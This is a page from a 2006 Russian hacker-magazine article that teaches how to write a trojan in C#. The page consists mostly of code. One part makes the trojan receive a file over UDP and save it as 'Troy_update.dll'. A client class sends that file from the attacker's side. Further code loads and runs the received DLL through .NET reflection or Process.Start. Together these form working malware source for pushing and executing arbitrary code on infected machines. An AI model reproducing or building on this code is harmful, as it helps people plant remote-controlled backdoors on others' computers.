Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #91, ИЮЛЬ 2006 г.

В сетях зла

Sulverus aka Дроздов Андрей

Хакер, номер #091, стр. 091-124-2


public static int port = 12000;

public static UdpClient udp = new UdpClient(port);

public static void RecFile()

{

rByte = udp.Receive(ref RemEp); //ловим данные по udp

fStream = new FileStream("Troy_update.dll", FileMode.Create, FileAccess.ReadWrite, FileShare.ReadWrite); //создаем файл

fStream.Write(rByte, 0, rByte.Length); //пишем в него

fStream.Close();

udp.Close();

}

В клиенте должен быть реализован соответствующий класс для отправки файла. При желании хакер может написать на перле небольшой UDP server, чтобы посылать файлы не со своего компьютера, а с какого-нибудь удаленного nix-шелла. В клиенте используем такие же пространства имен, как и в самом трояне.

Класс для отправки файла

public class SndFile

{

public static IPEndPoint ep;

public static FileStream fStream; //объявляем переменные

public static IPAddress remoteIP;

public const int port = 12000;

public static UdpClient serv = new UdpClient();

public static void SendFile()

{

byte[] buff = new byte[fStream.Length];

fStream.Read(buff, 0, buff.Length); //читаем файл

Console.WriteLine("Sending File... ");

serv.Send(buff, buff.Length, ep); //посылаем данные трояну по udp fStream.Close();

serv.Close();

}

}

После того как троян загрузил файл, он может с ним делать все, что угодно. Если нужно - запустить функцией Process.Start(proc_name), а если же есть потребность подгрузить dll, то можно воспользоваться модным методом рефлексии.

Рефлексия

Нововведением технологии .NET является процесс рефлексии типов данных. Используя данный процесс, программа может обнаруживать типы данных во время своей работы или после подгрузки dll.

Это очень удобно, поскольку программист может получать информацию о коде без всякого дизассемблера, и при этом на языке С#!! Данные можно получать о любом члене типа данных. Таким образом, можно получать информацию об интерфейсах, поддерживаемых нужным нам классом, значения переменных, параметры методов (если все они определены как public). Для написания соответствующего класса нам надо использовать пространство имен System.Reflection и System.Activator. Например, чтобы загрузить какую-либо инфу из dll-библиотеки, мы должны зарегать переменную типа Assembley и потом методом Assembley.Load() загрузить код из библиотеки. Если программе нужно получить информацию о типах данных, которые она загрузила, то для этого нужно выполнить такой код:

plug = Assembly.Load("Troy_update"); //загружаем dll

plug.GetExportedTypes(); //получаем информацию о типах

Функция GetExportedTypes() возвращает данные параметру plug.FullName. Для запуска функции необходимо использовать функцию MethodInfo.Invoke(), предварительно создав объект методом Activator.CreateInstance() и получив объект из dll'ки методом Assembley.GetType().

В итоге мы сможем получить информацию о типе и использовать загруженный код. Реализуем это вот так:

Рефлексия

Assembly plug = null;

plug = Assembly.Load("Troy_update"); //загружаем dll в память

plug.GetExportedTypes();

Console.WriteLine("Loaded plugin: {0}", plug.FullName);

Назад на стр. 091-124-1  Содержание  Вперед на стр. 091-124-3